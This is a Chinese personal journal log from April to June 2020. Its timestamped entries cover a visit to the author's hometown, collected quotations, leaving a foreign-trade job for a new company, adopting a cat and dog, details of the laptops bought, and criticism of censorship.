09:50很多人上学的目标是什么，应付考试，上班的目标是什么，赚工资，这是绝大部分人的目标，当然我们不能说不对，所以绝大部分人也就会平庸。最优秀的那些职场人士，他们的工作，首先是取悦自己，实现自己的理想和价值追求。by 谈谈工作和学习中，所谓的主动性 - caoz的梦呓
我打开一个面包🍞，刚下嘴，侄子就拉屎，还放了一个超响的屁。
12:56终于到老家了。
15:05浓郁的乡土气息，让人心安。
18:51听取蛙声一片，这是最好的白噪音。
21:10困了就早点休息。
22:112020-04-30
睡得真香。
07:42昨晚枕着蛙声，十点多就睡着了，然后一觉到天亮（七点多）。
吃了丰盛的早餐之后，拿了 2 个蛇皮袋去山里摘李子，没想到今年颗粒无收，原因可能是干旱和满树的藤蔓。
但不能空手而归，于是就去山的更深处找春笋「宝宝」。令我没想到的是，纵使可以生二孩了，也没挖到一根春笋。百无聊赖之下，只好躺在草丛里放空自己。
踏破铁鞋无觅处，只缘身在此山中。回家的路上，母亲让我去看看老房子前的枇杷是否还健在。Amazing，居然没被鸟兽蚕食而尽（昨天去外婆家摘枇杷，一个都没有）。
到家之后，桌上已摆着一盘青红相间的李子，是哥哥从某处所窃得。不出我所料，哥哥对我发起了猛烈地嘲讽：切，我一分钟就摘了这么多李子，你一上午都去干嘛了？！
13:49不可否认，公众号的原创功能比任何内容分发平台都做得好。但是不得不倒逼创作者把内容首发在公众号。如果用其他平台的发文时间点证明是你才是原创作者，而这些这些平台的原创保护做得不好，甚至没有，就不是一个很好的证明材料。举个例子：抄袭者在头条抄了一篇文章，然后想抄在公众号上，发现别人捷足先登。如果可以用头条的文章链接「证明」自己是原创者，那就没有意义。一味的批评，没有给出解决方案，太过偏激。我在等区块链用于「原创保护」的应用。希望是有生之年。
15:53小心，尝到自由的滋味，可能会让你变得失业。（A taste of freedom can make you unemployable.）by Naval
农村正在以肉眼可见的速度「城镇化」，当父母移居到大城市之后，或许我只能在谷歌相册（Google Photos）的「往年今日」（Rediscover this day）里回味这些影像。
20:05一直觉得所得远超所配。所拥有的一切看似属于你，但又不属于你。每个人都有谢幕的时间，惟有演好每天给定的剧本，从容地接受退场的命定。爱生活而不是爱生活的意义，不要因为抽象的使命和素未谋面的他人而放弃了对身边人的责任。已经多日没有煎鱼，每月带领学生的读书会又要延期，深感亏欠。吾本尘土，随风意舞，登高不傲，居低不怨，但惟君故，勉励至今。by 罗翔说刑法
2020-05
2020-05-01
我花了几个月写了一篇 Telegram 教程（博客已被墙）。在这篇接近 2 万字的文章中，我插入接近 300 个外链。我坚信，原始来源比答案更重要。希望可以加入回形针审稿志愿者团队，减少 Typo，增加可信度。感谢回形针团队为中文互联网贡献这么多优质内容。
01:34源头的信息一定比下游的信息可靠，有来源的信息一定比没来源的信息可靠。
源头意味着最少的修饰和篡改，而信息被转手的次数越多，就越容易变形，所以你如果看到叠了无数层水印的截图、聊天记录和看似专业的分析时，其实可以问一句：请求来源。by 回形针 PaperClip
讨论事情时，当我向亲朋好友提出「请求来源」的诉求后，一般都会陷入尴尬的局面，因为 Ta 们无法给出相对可靠权威的信源。秉持「无来源，不讨论」的议事原则后，事情就变得简单起来了，因为很多事情根本就没有开启讨论的必要。
01:49清晨的阳光透过窗子，洒在我的身上，母亲在楼下烹饪早餐。
07:24在你这个年纪，在即将毕业的阶段，迷茫是正常的，不迷茫才是不正常的，不用担心。我从事教师工作的近八年里，见过的多数大学生在毕业的时候，对未来都是很迷茫的。那些十几二十岁就很清楚自己想要如何度过一生，并且坚定地付诸实现的人，都是极不正常的（此处的“不正常”为中性描述，无褒贬意味）。绝大多数取得不平凡成就的人，都始一个不甘于平凡的朴素意愿。by 罗永浩
活在当下，脚踏实地，内心有一块开满鲜花（不种蔬菜和粮食）的自留地，足矣。by 锦瑟
纵使精打细算地过日子，本月京东白条居然要还接近 ￥1600。
11:07主人：看你天庭发黑 🌚，鸭嘴红润 ☺️，恐怕是得了寒疾 🥶？！不如来主人的胃里暖暖 😋？
鸭鸭：主人真体贴 🤧，但可以先把刀 [菜刀] 放下吗 🥺？
刚刚我的右侧脸蛋被侄女 ZQL 狠狠地咬了，因为我要临时使用爷爷的手机（关掉费电的蓝牙）。
22:18事后，侄女 ZQL 可怜巴巴地跟我道歉：「叔叔对不起，我不是故意的。」
我想有一天，当乌云密布，天在下雨，现实的压力不堪忍受时，我会故意取下眼镜，离家去街上闲逛。我敢说我也许从此杳无音讯。我想不管自己会流落到哪里，都会过得无比开心。by 詹姆斯·瑟伯（James Thurber）的《白日做梦有理》
侄女 ZQL 刚刚分我一个小蛙腿。
臣本布衣，躬耕于葛州，苟全性命于乱世，不求闻达于诸侯。
相亲父老问我这个大学生做什么工作，我父亲回道：「回来耕田。」
09:25母亲左手提着步鞋，右手提着一袋鸡蛋回来，心想着放下布鞋，却把鸡蛋扔出去了。
10:23你这山野村夫的影像和反 GF W首席顾问不太搭啊，哈哈哈。by 金龙鱼
平凡的我，能突出的，可能只有脚间盘了。
凉爽的夏夜，门前的蛙声此起彼伏，好生自在。
19:5402020-05-03
Two little mice fell into a bucket of cream. The first mouse quickly gave up and drowned. The second mouse, wouldn’t quit. He struggled so hard that eventually he churned that cream into butter and crawled out. Gentlemen, as of this moment, I am that second mouse. 两只小老鼠掉进了牛奶桶。第一只很快就放弃了，然后被淹死了。第二只却不放弃，它猛烈挣扎着，直到把牛奶都搅拌成了奶油，然后爬了出去。诸位，现如今我就是这第二只老鼠。by 《猫鼠游戏》（Catch Me If You Can，2002）
01:21侄女 ZQL 手里有一块小饼干，我让她分我一半，但是她掰不开，只好用嘴「 掰开」。
08:20红糟肉（酒糟配五花肉）：酒香浓郁，好吃不腻，由不得你不喜欢。
在 google.com/ncr 搜索「庭说」，会像以前一样，出现 6 个 Sitelinks，are meant to help users navigate your site。
2020-05-04
表达「有限的」自我，拥抱「残缺的」世界：B 站的审核时间越来越长，这意味着「单一」，不是「多元」。不满与此，那就「出海」吧，后浪们，去遇见更大的世界。
07:20性是肉体生活，遵循快乐原则；爱情是精神生活，遵循理想原则；婚姻是社会生活，遵循现实原则。别那么拧巴，总想着能把三个统一起来。by 停雲
年轻人急于表达异见，却又会被轻易同化。
《后浪》 是 B 站的广告宣传片，我们这些「事逼」延伸得太远了。但是 B 站把一些概念定义得如此狭窄，实在不适。我也很难理解，一个不会翻墙的青年，如何触达更多彩的世界？
要想做「大」做「强」（墙），不得不被招安。虽然理解其商业意图，但我还是对文案耿耿于怀。现在我打开 B 站看视频，都蒙上了淡淡的负罪感。
一个人一辈子，重要的是对知识的好奇心，对世界的善意，还有对他人的同情心。你会发现，在时代的洪流面前自己的声音微不足道，但也不要因此沉默甚至屈服。by YU
…… 但我也见过太多人因为沉迷游戏，自甘堕落。我见过很多人拿着为游戏正名的视频嘲讽父母，看着父母委屈得哭泣，好像自己获得了胜利。我还见过为了游戏不管老婆孩子，整夜奋战。很多人说热爱电子游戏和热爱围棋象棋是一样的，但游戏的成瘾程度真的远超后者百倍。给自己制定防沉迷计划，这真的很重要。不要用为游戏正名的理论给放纵当挡箭牌。不是所有玩家都能在运动会上靠游戏拿金牌。要有节制，要留出时间感受生活。享受雨后泥土的气味、爱人的拥抱，还有努力学习时精神上的满足。一生一趟的这场游戏，是最值得你沉迷的。by oooooohmygosh
2020-05-05
大多数人，即使是在这个相对自由的国家里，仅仅由于无知和错误，被生活中认为的烦恼和过于粗重的劳作挤得满满的，以致无法摘取人生精美的果实。实际上，日复一日，劳作的人没有空闲使自己具有真正完整的生活；他难以和他人保持最为高尚的关系；他的劳动在市场上会贬值。他除了当一架机器，没有时间当别的。by 《瓦尔登湖》
丢东西的快感，尝过一次就会上瘾。此中醍醐味，你我都知晓。
开始返回深圳。
09:38曾经住过的泥瓦房，依旧隐蔽在沙木竹林里。下雨时，要找很多锅碗瓢盆去接水。
不同的历史时期，对乌托邦国家的定义不一样。国家当权者也是人，大部分都是自私的（有限地为人民服务），苦短人生，捞一笔再说。至少现世没有战乱，大部分人温饱无忧。中国特色社会主义进入新时代，我国社会主要矛盾已经转化为人民日益增长的美好生活需要（例如有选择的权利与表达自我的诉求等），和不平衡不充分的发展（物质自由与精神自由不对等）之间的矛盾。
只要把物质需求与精神欲望降到极低，人生就会进去 Easy 模式。但是因为要报答父母，给 Ta 们创造更安稳的晚年生活。所以还是暂时「融入」商业社会挣赡养金。
本次导航结束，志玲期待与你下次再会。
14:482020-05-06
天气热，开空调。
01:35一个缺乏真诚的社会，是没有价值的。一切要么是利益，要么是权力。by 李厚辰
尊敬的
***：您好！
我非常庆幸自己能有机会在
***工作，在这里，我学到了很多东西。但是，我觉得是时候接受人生新的挑战了。我将在两周后（5 月 20 日）辞去***的职务，如果工作交接顺利的话，也许本周六（5 月 9 日）就可以正式离开。望领导早日批准。感谢您的慷慨、耐心和过去一年对我的教导和照顾。祝愿公司能蒸蒸日上。
此致，
敬礼！辞职人：
***
日期：2020 年 5 月 6 日2020-05-07
奶奶是在农历一九九七年腊月廿三（公历 1998 年 1 月 21 日）去世的，那时我才 4 岁，所以奶奶几乎不存在我的记忆中，唯一的能想到的画面就是奶奶躺在床上，嘴里含着这个枣（黑色的肿瘤）。
罗翔语录：
- 人性是贪婪的，刑法上有个理论叫期待可能性。你怎么能期待一个人在没有人发现的时候克制住自己的贪婪？从朴素的正义来看，无期徒刑就是太重了。
- 千万不要站在事后的角度去判断，要站在事前的一般人角度。事后理性是什么人？是事后诸葛亮。
- 我这位当事人年纪很小就出来打工，以自己的能力为家庭做点贡献，他刚进入社会就像一张白纸。这次就是白纸上出现一个污点，希望污点不会扩大，未来更好地开始他的人生，所以希望从轻判决。
- 罗翔说年轻人要多看经典书，免疫快餐文化。我们之所以读书、行路，就是希望能够不断享受高级快乐。如果眼目只关注地下，你永远不知道向上看有多么快乐。
- 我们画不出一个完美的圆，但不代表完美的圆不存在。
把时间划分为：
- 工作
- 吃饭
- 阅读
- 写作
- 学习
- 烹饪
- 家务
- 影音及游戏
- 照顾宠物
- 睡觉
- 洗澡
- 外出娱乐
- 购物
- 运动
2020-05-08
近期的晚餐暴饮暴食，然后吃完饭还一直看下单视频，看完（腻）了视频，开始逗猫，接着到了 23:00，极不情愿地去洗碗、洗澡和晒衣服。
00:08幻想做一个 Digital Nomad（数字游牧民），然后 想在哪里办公就去哪里办公。
09:26一个缺乏真诚的社会，是没有价值的。一切要么是利益，要么是权力。在公共言说中，如果我们无法达成关于真诚的先决条件，那我们将不可能取得共识。这里的条件，起码是以下这些：
- 对于自己的话：表达明白的观点，首先诚实，其次准确分明；
- 对他人的话：对于他人模棱两可的观点，务求其澄清明白，到底偏向哪个？如果无法澄清，则没有谈论的必要；对于他人明白的观点，不要教条地以「以偏概全」驳斥；
- 对于公共媒体：将其「真诚」当作第一要务，不真诚的媒体，即便影响巨大，又说出了让你开心的言论，也不与之「合作」；
- 对于公共人物和机构的言论：没有什么「不过是个广告」或者「不过是个演员」，广告和演员表演也是公共表达，只要说出口的，就当他相信这个主张。
by 李厚辰
注册了新的谷歌账号，用同一张信用卡，薅 GCP 的羊毛（300 USD）。
17:112020-05-09
给你几个建议：你以后去别的公司，一定要学会尊敬领导，不要经常在公众场合跟领导扯，注意言辞，这对你以后工作方面的晋升有一定的帮助。by CML
10:14Tim，我想了下。
***类的东西现在并不好出口。除非你***的人情和待遇都非常好等等，那我就没办法了。虽然总是和你斗嘴，但还是希望你能留下来。一年了，你熟悉了产品也积累了些客户资源。趁现在你还没开始正式去上班，如果你愿意，你的底薪我可以加到 ￥6000，外贸部你管理。我也准备帮业务员报培训班。我想培养你成为一个优秀的业务员加管理者。希望你可以再考虑下。by CML18:52我回复道：
感谢
***的再次垂青。当初为什么选择
***：- 离家近（钱多事少离家近，不可兼得）。
- 可以练习英语。
***充满干劲。
现如今：
- 我不是听话的好员工，也没有狼性。经常站在客户的角度，如何满足客户的要求，而不是为公司创造利润。而且谈单周期长，订单碎片化，也就不在乎一单那几十块的提成了。既然不能在物质得到回报（自己的业务能力也有限），为什么还要在精神上委屈自己，虽然我深知不能顶撞老板。新公司给我的待遇一般，但是产品存在技术壁垒，不是单纯的制造业。薪资多几千，少几百对我当前的生活影响不大，重要的是看行业的发展前景。另外，我也不适合当领导者，只要遵循理工思维（只看真假对错，不管人情世故），吵嘴少不了。因为生意人需要千人千面，不能秉持唯物主义。
- 好不容易和客户建立良好的合作关系，工厂却频频出错，失信于客户，让我沮丧（比没业绩更难受）。
- 现在的外贸需要精细化运营，不是三五年前的粗放式获客。不管在业务上，还是管理上，
***都可以听听米课。
感谢挽留，后会有期，顺颂商祺。
离开 ZONYSUN，前往「新起点」。
18:282020-05-10
给母亲发了百里挑一（￥100.1）的红包。
- ZWT：为什么生了我哥（之前已经生了五个解解），还要生第二个男孩？炮家已经有男丁了呀？
- ZYF：因为生你哥后，又意外怀了。因为最小最让人疼，因为疼你就不给你当哥哥了，所以不再生了。
- ZWT：为什么我不能当哥哥，不能有个弟弟？我会分半碗饭给我的弟弟妹妹吃的。
- ZYF：你小时候那么食小气，怎么可以分半碗饭，连一小口都不愿意，拿吃的都躲外婆家的。大家想抢点你手上吃的，你就大哭大叫，搞的大家没少挨揍挨骂。
- ZWT：我一点印象都没有。不过我会把辣条撕成一小条一小条，分给同学吃。
在我上初中的时候，琢磨着上高中了，要买 Nokia 的哪部键盘直板机？没想到 iPhone 横空出世，触控屏席卷而来。囊中羞涩，让姐姐买了一部主打长续航的联想 乐Phone P70：
- 上市日期：2011 年 8 月 28 日
- 当时售价：￥1480
- SoC：MT6573
- 电池容量：2000 mAh
- Android：2.3
- RAM 容量 256 MB
- ROM 容量：512 MB（支持外置存储卡）
把工作辞了，然后睡到自然醒，接着给自己做一盘蛋炒饭。
10:56青年人鲁莽、不圆滑、不切实际，只讲对错，不讲利益，也不懂得计算，不精明，头脑简单，有时幼稚。青春的忧伤、迷茫，正是因为青年人需要去回答一些很难回答的大问题，尤其是那些老人不愿意你去思考的、他们也解决不了的问题。没有忧伤、没有迷茫的青春，意味着没有未知的答案。所有的答案前人都已经为你准备好了啊，所有的路前人也都已经为你铺好了啊，那当然可以「不惑」了。可如果所有的问题都有答案，如果青年人不再需要去回答那些重要的大问题——我们怎么进步呢？by 王俊煜
奶奶（我的母亲）居然唱歌，哄孙女入睡。
22:20《E.T. 外星人》（E.T.: The Extra-Terrestrial，1982）：
- Gertie: [about E.T.] Is he dead, Mama?
- Mary: I think so, sweetheart.
- Gertie: Can we wish for him to come back?
- Mary: Yeah.
- Gertie: I wish.
- Mary: I wish, too.
群聊如吃鱼，有头有尾
也许你的微信已经是满屏的群了。照片分享完毕，原谅我一言不合就建群了，是时候为自己的行为负责了：
- 你是不是还有太多光阴？
- 你是不是要做的事情太少？
- 你不是不人生目标都已经达成了？
所以不想大家：
- 被迫社交，碍于面子没敢退群
- 聊天打屁浪费光阴
- 为打破坚冰，提出话题，发言暖场
有时间，我们还是面对面地坐下来，安安静静互黑吧。没时间，或许可以远程找我：
- 拨打午夜心灵热线
- 做你的情感垃圾桶
- 或者调戏庭说 24 小时 Online 聊天机器人？
不热衷于社交，像老古说的：打磨自己。Just Do It！各位祝好！
By 在拥挤公车上的公鸭嗓先生：庭仔
2016-05-082020-05-11
欲望越多，烦恼越多。
00:55出发，前往新公司。
08:05到了。
09:12买了少数派出品的 英语自学手册（￥89.25）。
13:312020 年 4 月 15 日：感谢大家的关心和陪伴，注销后，NGOCN 将通过组建志愿者团队维持运营，有意者请联系：ngocn_2020@protonmail.com。大疫期间，请大家多珍重，勿挂念，有缘必会再见。
2020-05-12
人生不过百年，说到底我们不过是群居动物，遵从规则、融入大众，就是我们的职责所在。
人类的历史分做阴阳两个时期，阴时期的人类散居在世界各地，过着吃了就睡，睡足了再吃，浑浑噩噩的生活。后来人类又到一些河谷平原聚群居住，有了文明，一切烦恼就由此而起。
最新一期的 Rick and Morty（S4E7）回到了最初的样子：搞笑，轻松，不烧脑。
00:33生活在物质生活如此丰富的年代，精神文明却要无时不刻遭受「文字狱」（与日俱增的审查词），倒车开得飞快。Fucking Xi。
我把鞋带绑得越来越紧，脚丫子越来越不舒服，直到今天，才松绑，我真是不会善待自己。
17:39公司为我配了新的笔记本电脑荣耀 MagicBook 15：
- 购买价格：￥3999
- 运行内存：16 GB
- 存储容量：512 GB SSD
- 屏幕尺寸：15.6 英寸
- 处理器：AMD 锐龙 5 3500U
为了拍摄笔记本电脑的开箱照，我把鱼缸暂时放在地板上。在鱼缸的正上方（1.5 米高），有一瓶 2.5 L水挂在窗户上，里面养了很多水草。没等我按下快门键，水瓶的提手突然断裂了，像一颗鱼雷投进鱼缸里，砰的一下，水花四溅，鱼缸的盖板破裂，所幸斗鱼安然无恙。
2020-05-13
把翻墙提供商（机场）ssrcloud 返利（￥111.95）提现了。
00:12这只狗是原来同事在老家带来的，然后她不做了，狗狗却不带走，丢下了给我老板，老板原就养了一只狗，现在看到这只新来的，它吃醋了。by WLL 的朋友
……We were very proud with the result – the technology we created allowed for an open, free, decentralized exchange of value and ideas. …… I want to conclude this post by wishing luck to all those striving for decentralization, balance and equality in the world. You are fighting the right battle. This battle may well be the most important battle of our generation. We hope that you succeed where we have failed. by Pavel Durov
2020-05-14
以前就觉得你态度超好的。by 前公司的客户 Jane
去把 500 米远的狗子接回来。
🐱 猫，叫哆啦（狸花猫、中华田园猫），很凶。前主人回家路上捡的母猫，但是 Ta 家人不同意 Ta 养，只好放在我这里。
🐶 狗，叫叮当（凯斯梗），前前主人取的，很乖。前前主人把她遗弃在前主人家，但是前主人的狗吃醋了（绝食两天），只好把他送给我，刚刚接回来。
现在有两个问题：
- 猫吃醋了，炸毛中。
- 怎么给狗狗洗澡？
哆啦 A 梦，也叫叮当猫。
2020-05-15
我哥介绍了一个警察的差事，一开始的工资 ¥9000 一个月，住房公积金 ￥1800。
我回答道：2018 年，因为转发一句对某个领导人所谓的「不当言论」，我被抓进派出所审问，那时我就已经彻底放弃了体制内的差事。就因为民众说了一句话，上层一个电话，就可以调动警力去把人封口，而不是把警力放在更需要的地方。虽然警察大部分是维护正义，即法制。但小部分是维护某些阶层的「正义」，即人治。我明白每个社会的都有阴暗和光明，但我爱惜自己的羽毛。
晚安，家人们。保持身体健康，早睡早起，少油少盐，真诚，友善，常去运动。
虽然很想学习养猫养狗的知识，但是要休息了。
01:24第一次坐公交车去上班。
07:18到司，用时一个钟，
08:18公司所在楼层只有货梯，这个货梯只能刷卡才能乘坐，而像物业公司申请电梯卡需要 ￥200（不退换），且只能刷某个特定楼层。
08:22到了公司，女同事说我的衬衣扣子「错位」了。
换工作后，第一次这么早下班。
17:572020-05-16
三个阵营家人劝我去考辅警。
02:01新公司周日也要上班。
07:48昨天太晚睡，今早眼睛疼。
08:29喝了两瓶啤酒（3.6%），脸红眼睛疼，头胀腿脚软，第一次喝成这样。
20:41您的电动二轮车备案申请审核未通过，请登录“易骑行”官方小程序补充上传对应车辆合格证或购车发票，并到社区请工作人员完成审核确认，谢谢！【深圳交警】
20:43没洗澡，直接睡。
2020-05-17
睡得早，醒的早。
06:05人生一世，草生一秋，不如赤条条来去无牵挂。行无辙迹，居无室庐，地为床，天为被，风云伴舞，五湖四海任我闯。
把被单，竹席，垫子洗了，和枕芯，被芯一起拿到天台上去晒。住了一年，才知道天台是可以晒被子的。
打扫了一早上，没吃早餐，随便吃点：
- 辣条（之前买的电影伴侣）
- 汽水（别人送的）
- 杨梅（嫂子家的）
新买的荣耀 Magicbook 15 的 Wi-Fi 不稳定，于是退货了。
12:492020-05-18
起来打了十几只蚊子。
02:54早上醒来，还是很多吸满了我的血，沉甸甸地挂在蚊帐上。
07:06瓢泼大雨，好久未见。
08:00My heart is, and always will be, yours. by Jane Austen
庭说的 Telegram Channel @tingtalk 突破 800 人了。
买了人生的第一块体重秤，加上手机体重才 65.9 kg。
21:41Living without consequences is great, but then I started wondering, what am I living for? What am I building? If I'm always looking back, I never looking ahead. And then it hit me. We are who we are because of consequences. You can't live without consequences. by Rick and Morty S4E8
2020-05-19
人分两种，以有没有那么一天来决定自己行动的人，和不管有没有那么一天都不懈努力的人。
Being human means throwing your whole life on the scales of destiny when need be, all the while rejoicing in every sunny day and every beautiful cloud. (做一个人意味着，当需要的时候你要把你整个人生都放到命运的天平上，发生了什么那就去接受它；同时你仍然为每一个阳光灿烂的日子、为每一朵漂亮的云彩感到喜悦。) by Rosa Luxemburg (罗莎·卢森堡)
我们要捍卫的世界观和思维方式是让更多的人：
- 在关心立场前先尊重真相。
- 在谩骂攻击前先尝试理解。
- 以发展合作伙伴而不是持续树立敌人为目标。
对外讨论的时候：
- 你是怎么讨论这个话题的？你是怎么分析它的？
- 你在分析的过程中是否愿意保持一个更开放的心态？
- 是否愿意去因为新的事实而去改变自己的想法？
对内保持内心的稳定和丰富：
- 多读一些书、多看一些更具有理论深度的东西，是可以不断地丰富自己的思考框架的。
- 即使我们没有办法去很快改变这个世界的敌意，我们仍可以去选择自己的小环境、营造自己的小气候。
- 千万要保持心情舒畅，不要抑郁。
by 方可成
打开 2019 年深圳辅警考试模拟卷《公安素质测试》，看到第一题：
习近平总书记就政法工作作出重要指示时强调，培育造就一支忠于党、忠于国家、忠于人民、忠于法律的政法队伍，确保刀把子牢牢掌握在党和人民手中。这一指示直接揭示了公安工作的（ ）
- A. 根本原则
- B. 根本路线
- C. 基本方针
- D. 基本政策
我就立刻再次打消了做公务员的念头，虽然几位家人轮番来说服我。我一直有一个巨大的质疑：为什么党总是排在国家的前面，我是为人民（组成的国家）服务的，不是为了巩固某个政党的执法机器。
老旧的笔记本电脑平时写写博客还可以胜任，用来办公实在太难受了。
2020-05-20
说出来你可能不信，一个人过 520，连续 5 年我都是这么干的。
11:09用手机学英语，容易分心，所以我在电脑上安装 Android App：百词斩，里面有个语法栏目（漫画形式），挺有趣的。
11:49母亲的白头发又增多了。
13:34上大学的时候，深夜看了《肖申克的救赎》，从此打开了我欣赏电影的大门，也成了我最减压的娱乐活动之一。
18:59优秀的影视作品，不分年龄，每一个认真生活的人都能产生共鸣。
三华李，11 个，￥3。
做饭接近一年，第一炒土豆丝。
22:45换了新工作以后，每天回家很晚，没时间做晚饭，但是冷冻室里还有很多肉类。能怎么办呢？多晚也要把这些肉炒了，作为明天的早餐和午餐（带到公司吃）。
23:512020-05-21
好困。
09:33【中国太平】 太平人寿温馨提示：您的代理人
**庭已于2020年05月21日离职，您所持保单的后续服务将由公司统一安排服务人员，若您有相关服务需求可致电95589。感谢您的支持！迷上《性爱自修室》（Sex Education，2019）
2020-05-22
一个追求纯净和完美的人，这种人格上的优点在非成熟期非常容易走向的一条歧路，就是不宽容。 by 林达《历史深处的忧虑》
2020-05-23
多难未必兴邦，忧患才能强国。by 我为国言吴海
好讨厌单休的工作。
07:442020-05-24
昨晚睡到一半，脚居然抽经了，可能是因为叙旧不打篮球。
06:50去社区工作给电动摩托车上牌。
骑电动摩托车忘记戴头盔（平时都会戴），但是交通警察 👮 没有处罚我。
11:49小米手机的语音助手「小爱同学」听不懂「半个钟后提醒我照镜子」，要说「30 分钟后提醒我照镜子」才能理解这条口令。
联想笔记本电脑：小新 15 锐龙 R5-4600U 建议屏幕分辨率缩放为 124%。
- 操作系统：Microsoft Windows 10 家庭中文版 (BUILD:18363) (64 位)
- CPU 信息：AMD Ryzen 5 4600U with Radeon Graphics
- 主板信息：LENOVO (联想) LNVNB161216
- 内存信息：16.0 GB (8.0 GB / 8.0 GB / )
- 显卡信息：AMD Radeon(TM) Graphics
- 硬盘信息：SKHynix_HFS512GD9TNI-L2A0B (512.0 GB)
- 网卡信息：Bluetooth Device (Personal Area Network) (蓝牙网络连接) Realtek 8822CE Wireless LAN 802.11ac PCI-E NIC (WLAN)
- 声卡信息：Realtek High Definition Audio
AMD High Definition Audio Device - 显示设备：京东方 BOE [BOE08B9] 15.3英寸
2020-05-25
买了三袋番茄酱（保质期），只吃了一袋，其他两袋就过期了。这就是独居青年明媚的忧伤。
07:44豆瓣扣男组：有人用旧内裤过滤豆浆。
……人类积攒了几千年的财富，所有的知识、见识、智慧和艺术，像是专门为你们准备的礼物；科技繁荣、文化繁茂、城市繁华，现代文明的成果被层层打开，可以尽情地享用……by《后浪》
转眼就把 Notion 封了，这是哪门子的「尽情享用」？！Fuck GFW！
2020-05-26
5 年前失恋后（誓言变成逝言），我就很少使用绝对性的词语：只有，肯定，没错……
要警惕民族主义，我们是一个地球村（不过最近中美关系持续恶化中）。一次企业会利用民族主义，来达到自己的商业目的。
男孩 / 女孩被性侵，如果大胆地说出来，在国内要承受巨大的压力，我们对性和独立个体的认识，还在原始阶段。最近在看《性爱自修室》（Sex Education），特别羡慕国外开明的性教育氛围。
为了维稳，国内会限制很多公共话题的讨论。反倒是，一个明星的小小动态，可以轰动全网。不过我们也不能过度怪罪网民，毕竟我们很多话题都不能讨论，只好聊聊八卦，增加谈资。
刚刚一个 65 岁的同事让我帮他挑一款 1000 CNY 以下的华为手机，买给他老婆的七十多岁的朋友。古稀之年，用了几年小米，想换华为，觉得华为品质好。虽然反感华为的不真实行为，但我只能照做。
11:06一夫一妻才能让人类社会，稳定发展。如果异性资源只是集中在少数人手中，底层会暴乱。
中国大学严进宽出：高考难，毕业易。我上学逃课，打游戏（穿越火线、斗地主、植物大战僵尸……），绩点从大一的前排到大四的三十多名。毕业论文还是抄的导师的，这样都毕业了。
我深爱中国，只是我们政府是否可以在某些方面开明一些，让我们的精神生活更丰富，个人可以争取应有的权力。
日本的职业不会随随便便换，也不会随随便便的炒鱿鱼，能产出匠人，但是刻板的工作，以及集体荣誉感，会让人压力也大。这是我对日本的一个感性认识，不一定对。
2020-05-27
我小时候不听话，被外婆打过一次巴辣麻（耳光）。
11:31我几乎记不清童年糗事：
- 爱哭
- 爱打小报告
- 外八脚
这些一点都没有印象，所以我需要写日志存档（坚持 2 年多了）。
午餐🍱：平平淡淡，鸭子伴饭。
12:12- Otis: How do I not become an arsehole?
- Remi: Just try and stay honest. Because once you start lying, it's very hard to stop.
by Sex Education 《性爱自修室》
来医院打第二针狂犬疫苗，前面有 15 个人。
21:412020-05-28
被同事拉去打羽毛球，现在坐公交车回去还要一个多钟。
21:04哈罗共享单车，起步价调高至 ￥1.5，并且只能在指定位置还车，所以我不得不从城中村骑回到马路边造成订单。
22:532020-05-29
把前同事送我的 2 只小乌龟送给现在的同事 ZLL。
08:41最近我变得暴躁，只要朋友圈有人转发营销号的垃圾文章，朋友权限就设置为「仅聊天」，之前的做法是单向屏蔽（Ta 还可以看到我的动态）。
截至目前，1057 个微信好友，屏蔽了 325 个人。
2020-05-30
迁移博客源文件到新的电脑。
01:27我跟母亲说心态放轻松，没什么好担心的。她说还要等我结婚生子才能享清福。
22:422020-05-31
From the start（从一开始），我就欺骗亲人我会去备考公务员。
00:07很多读者跟我说：Thank you for writing your blog. It's a great blog...
被社会毒打三年后，不管是同龄人，还是比我年长很多的人，都觉得我对很多事情看得很开，怕我我最终出家做和尚。
我行过许多地方的桥，看过许多次数的云，喝过许多种类的酒，却只爱过一个正当最好年龄的人。by 《湘行散记》- 沈从文
使用会员卡的情况下，理发都涨到 ￥40 多了。
12:54去医院打第三针狂犬疫苗。
13:39中午人少，挂号，问诊，缴费，拿药，注射，一气呵成。
13:54没成为家庭经济之前，保险配置如下：
- 消费型意外险（￥150 左右）
- 百万医疗险（￥150 左右）
- 消费型重疾险（几千人民币左右）
如果手头不宽裕，先买意外险和医疗险，重疾险是大头，需要多方了解再做决策。
最近朋友圈看到不少「轻松筹」，由此可见，大部分人都还没有建立科学的保险配置观念。
失恋让我的精神变得健壮，变得更无所畏惧。
19:42一边在天台遛狗，一边背单。
22:15热风习习，还是回到空调房背单词吧。
22:26常通风，勤拖地，是可以去除房间里的狗骚味的。
22:27I often does sports to keep fit. As a result, I'm happy.
Small city is better than big city to live and work, my fourth brother-in-law said.
新的下饭视频选定为《权力的游戏》（Game of Thrones，2011）。
23:482020-06
2020-06-01
You cannot buy happiness. And you cannot buy love.
吃着炸鱼，看着《权游》，怎料又卡鱼刺了，幸好被我咳出来了。
12:45朋友送我 2 只龟，但是我只能让 Ta 们住在一次性饭盒里。今天，我给 Ta 们找了一个大户人家（送人了），从此免受猫咪和狗子的推搡和撕咬。
其中一只乌龟前天死掉了，龟壳上有牙印，猜测可能被狗咬过，也可能是长时间泡在恶化的水质中（没有垫脚石），导致腐皮和烂甲。罪过，阿门。
Stays quite and stay modest.
老男孩，儿童节快乐，我可能是永远都长不大的巨婴，不想接受来自成人世界的虚假和繁衍后代的责任。
23:282020-06-02
昨晚上床没玩手机就睡了，而且是 00:00 之前，06:00 左右被猫狗吵醒，但是精神尚佳，没有起床气。我爱早睡早起。
06:52一位庭说的读者 @ollsad 写了一篇 长文章，阐述了 Ta 为什么买旧（iPhone X）不买新（iPhone 11）？
内容生动，图文并茂。本着「每一个文字都渴望被优待」的原则，排版狂魔提出以下润色建议：
带有 home 键的非全面屏
带有 Home 键的非全面屏iPhone 8 不在身边 从官网偷了一张图 😛
iPhone 8 不在身边，从官网偷了一张图。😛（图片标注也要使用标点符号）镜面的银色 Apple logo
镜面的银色 Apple Logo（此处存疑）借助王自如老师的话就是：Wow！Amazing！Assome
借助王自如老师的话就是：Wow! Amazing! Aseome!（引用英文整句，改用英文感叹号）广为诟病的信号，我宅在家里天天用 WiFi，也觉得没什么。
广为诟病的信号，我宅在家里天天用 Wi-Fi，也觉得没什么。（能否写对 Wi-Fi 是专业科技媒体的试金石）平时也只是刷刷 Ins
平时也只是刷刷 Instagram。（上文没有提到缩写就不能用缩写）这就是为什么 iPhone 只有 60Hz 刷新率，却比有的 120Hz 手机更流畅。
